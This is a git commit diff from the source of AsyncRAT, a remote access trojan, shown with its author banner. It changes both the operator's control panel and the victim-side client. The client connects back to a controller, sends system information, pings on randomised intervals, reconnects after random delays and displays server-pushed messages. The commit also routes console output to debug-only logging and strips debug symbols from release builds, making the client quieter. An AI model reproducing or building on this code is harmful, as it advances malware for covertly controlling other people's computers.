Update
This commit is contained in:
parent
73b3c60d23
commit
aced7075c3
3
AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs
generated
3
AsyncRAT-C#/AsyncRAT-Sharp/Form1.Designer.cs
generated
@ -59,7 +59,8 @@
|
|||||||
this.listView1.TabIndex = 0;
|
this.listView1.TabIndex = 0;
|
||||||
this.listView1.UseCompatibleStateImageBehavior = false;
|
this.listView1.UseCompatibleStateImageBehavior = false;
|
||||||
this.listView1.View = System.Windows.Forms.View.Details;
|
this.listView1.View = System.Windows.Forms.View.Details;
|
||||||
this.listView1.Resize += new System.EventHandler(this.listView1_Resize);
|
this.listView1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.listView1_KeyDown);
|
||||||
|
this.listView1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.listView1_MouseMove);
|
||||||
//
|
//
|
||||||
// lv_ip
|
// lv_ip
|
||||||
//
|
//
|
||||||
|
@ -6,6 +6,7 @@ using System.Threading.Tasks;
|
|||||||
using Microsoft.VisualBasic;
|
using Microsoft.VisualBasic;
|
||||||
using System.Linq;
|
using System.Linq;
|
||||||
using System.Threading;
|
using System.Threading;
|
||||||
|
using System.Drawing;
|
||||||
|
|
||||||
// │ Author : NYAN CAT
|
// │ Author : NYAN CAT
|
||||||
// │ Name : AsyncRAT // Simple Socket
|
// │ Name : AsyncRAT // Simple Socket
|
||||||
@ -23,7 +24,7 @@ namespace AsyncRAT_Sharp
|
|||||||
InitializeComponent();
|
InitializeComponent();
|
||||||
}
|
}
|
||||||
|
|
||||||
async private void Form1_Load(object sender, EventArgs e)
|
async private void Form1_Load(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
Listener listener = new Listener();
|
Listener listener = new Listener();
|
||||||
Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
|
Thread thread = new Thread(new ParameterizedThreadStart(listener.Connect));
|
||||||
@ -51,17 +52,14 @@ namespace AsyncRAT_Sharp
|
|||||||
foreach (ListViewItem C in listView1.SelectedItems)
|
foreach (ListViewItem C in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Clients CL = (Clients)C.Tag;
|
Clients CL = (Clients)C.Tag;
|
||||||
|
CL.LV.ForeColor = Color.Red;
|
||||||
CL.BeginSend(msgpack.Encode2Bytes());
|
CL.BeginSend(msgpack.Encode2Bytes());
|
||||||
|
CL.LV.ForeColor = Color.Empty;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
private void listView1_Resize(object sender, EventArgs e)
|
|
||||||
{
|
|
||||||
listView1.AutoResizeColumns(ColumnHeaderAutoResizeStyle.HeaderSize);
|
|
||||||
}
|
|
||||||
|
|
||||||
private void ping_Tick(object sender, EventArgs e)
|
private void ping_Tick(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (Settings.Online.Count > 0)
|
if (Settings.Online.Count > 0)
|
||||||
@ -81,5 +79,26 @@ namespace AsyncRAT_Sharp
|
|||||||
Environment.Exit(0);
|
Environment.Exit(0);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
private void listView1_KeyDown(object sender, KeyEventArgs e)
|
||||||
|
{
|
||||||
|
if (e.Modifiers == Keys.Control && e.KeyCode == Keys.A)
|
||||||
|
{
|
||||||
|
if (listView1.Items.Count > 0)
|
||||||
|
{
|
||||||
|
foreach (ListViewItem x in listView1.Items)
|
||||||
|
x.Selected = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void listView1_MouseMove(object sender, MouseEventArgs e)
|
||||||
|
{
|
||||||
|
ListViewHitTestInfo hitInfo = listView1.HitTest(e.Location);
|
||||||
|
if (e.Button == MouseButtons.Left && (hitInfo.Item != null || hitInfo.SubItem != null))
|
||||||
|
{
|
||||||
|
listView1.Items[hitInfo.Item.Index].Selected = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -24,7 +24,7 @@
|
|||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||||
<PlatformTarget>x86</PlatformTarget>
|
<PlatformTarget>x86</PlatformTarget>
|
||||||
<DebugType>pdbonly</DebugType>
|
<DebugType>none</DebugType>
|
||||||
<Optimize>true</Optimize>
|
<Optimize>true</Optimize>
|
||||||
<OutputPath>bin\Release\</OutputPath>
|
<OutputPath>bin\Release\</OutputPath>
|
||||||
<DefineConstants>TRACE</DefineConstants>
|
<DefineConstants>TRACE</DefineConstants>
|
||||||
@ -37,12 +37,8 @@
|
|||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Reference Include="Microsoft.VisualBasic" />
|
<Reference Include="Microsoft.VisualBasic" />
|
||||||
<Reference Include="System" />
|
<Reference Include="System" />
|
||||||
<Reference Include="System.Core" />
|
|
||||||
<Reference Include="System.Xml.Linq" />
|
|
||||||
<Reference Include="System.Data.DataSetExtensions" />
|
|
||||||
<Reference Include="Microsoft.CSharp" />
|
<Reference Include="Microsoft.CSharp" />
|
||||||
<Reference Include="System.Data" />
|
<Reference Include="System.Windows.Forms" />
|
||||||
<Reference Include="System.Xml" />
|
|
||||||
</ItemGroup>
|
</ItemGroup>
|
||||||
<ItemGroup>
|
<ItemGroup>
|
||||||
<Compile Include="MessagePack\BytesTools.cs" />
|
<Compile Include="MessagePack\BytesTools.cs" />
|
||||||
|
@ -2,11 +2,12 @@
|
|||||||
using Microsoft.VisualBasic;
|
using Microsoft.VisualBasic;
|
||||||
using Microsoft.VisualBasic.Devices;
|
using Microsoft.VisualBasic.Devices;
|
||||||
using System;
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using System.Net.Sockets;
|
using System.Net.Sockets;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
using System.Threading;
|
using System.Threading;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
// │ Author : NYAN CAT
|
// │ Author : NYAN CAT
|
||||||
// │ Name : AsyncRAT // Simple Socket
|
// │ Name : AsyncRAT // Simple Socket
|
||||||
@ -24,7 +25,7 @@ namespace Client
|
|||||||
public static byte[] Buffer { get; set; }
|
public static byte[] Buffer { get; set; }
|
||||||
public static long Buffersize { get; set; }
|
public static long Buffersize { get; set; }
|
||||||
public static bool BufferRecevied { get; set; }
|
public static bool BufferRecevied { get; set; }
|
||||||
public static Timer Tick { get; set; }
|
public static System.Threading.Timer Tick { get; set; }
|
||||||
public static MemoryStream MS { get; set; }
|
public static MemoryStream MS { get; set; }
|
||||||
|
|
||||||
static void Main(string[] args)
|
static void Main(string[] args)
|
||||||
@ -46,19 +47,19 @@ namespace Client
|
|||||||
client.ReceiveTimeout = -1;
|
client.ReceiveTimeout = -1;
|
||||||
client.SendTimeout = -1;
|
client.SendTimeout = -1;
|
||||||
client.Connect("127.0.0.1", 8080);
|
client.Connect("127.0.0.1", 8080);
|
||||||
Console.WriteLine("Connected!");
|
Debug.WriteLine("Connected!");
|
||||||
Buffer = new byte[1];
|
Buffer = new byte[1];
|
||||||
Buffersize = 0;
|
Buffersize = 0;
|
||||||
BufferRecevied = false;
|
BufferRecevied = false;
|
||||||
MS = new MemoryStream();
|
MS = new MemoryStream();
|
||||||
BeginSend(SendInfo());
|
BeginSend(SendInfo());
|
||||||
TimerCallback T = new TimerCallback(Ping);
|
TimerCallback T = new TimerCallback(Ping);
|
||||||
Tick = new Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
|
Tick = new System.Threading.Timer(T, null, new Random().Next(30 * 1000, 60 * 1000), new Random().Next(30 * 1000, 60 * 1000));
|
||||||
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
client.BeginReceive(Buffer, 0, Buffer.Length, SocketFlags.None, ReadServertData, null);
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
Console.WriteLine("Disconnected!");
|
Debug.WriteLine("Disconnected!");
|
||||||
Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000));
|
Thread.Sleep(new Random().Next(1 * 1000, 6 * 1000));
|
||||||
Reconnect();
|
Reconnect();
|
||||||
}
|
}
|
||||||
@ -160,19 +161,17 @@ namespace Client
|
|||||||
{
|
{
|
||||||
MsgPack unpack_msgpack = new MsgPack();
|
MsgPack unpack_msgpack = new MsgPack();
|
||||||
unpack_msgpack.DecodeFromBytes((byte[])Data);
|
unpack_msgpack.DecodeFromBytes((byte[])Data);
|
||||||
Console.WriteLine("I recevied a packet from server: " + unpack_msgpack.ForcePathObject("Packet").AsString);
|
|
||||||
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
switch (unpack_msgpack.ForcePathObject("Packet").AsString)
|
||||||
{
|
{
|
||||||
case "MessageBox":
|
case "MessageBox":
|
||||||
{
|
{
|
||||||
Console.WriteLine(unpack_msgpack.ForcePathObject("Message").AsString);
|
MessageBox.Show(unpack_msgpack.ForcePathObject("Message").AsString);
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
|
|
||||||
case "Ping":
|
case "Ping":
|
||||||
{
|
{
|
||||||
|
Debug.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
|
||||||
Console.WriteLine("Server Pinged me " + unpack_msgpack.ForcePathObject("Message").AsString);
|
|
||||||
}
|
}
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user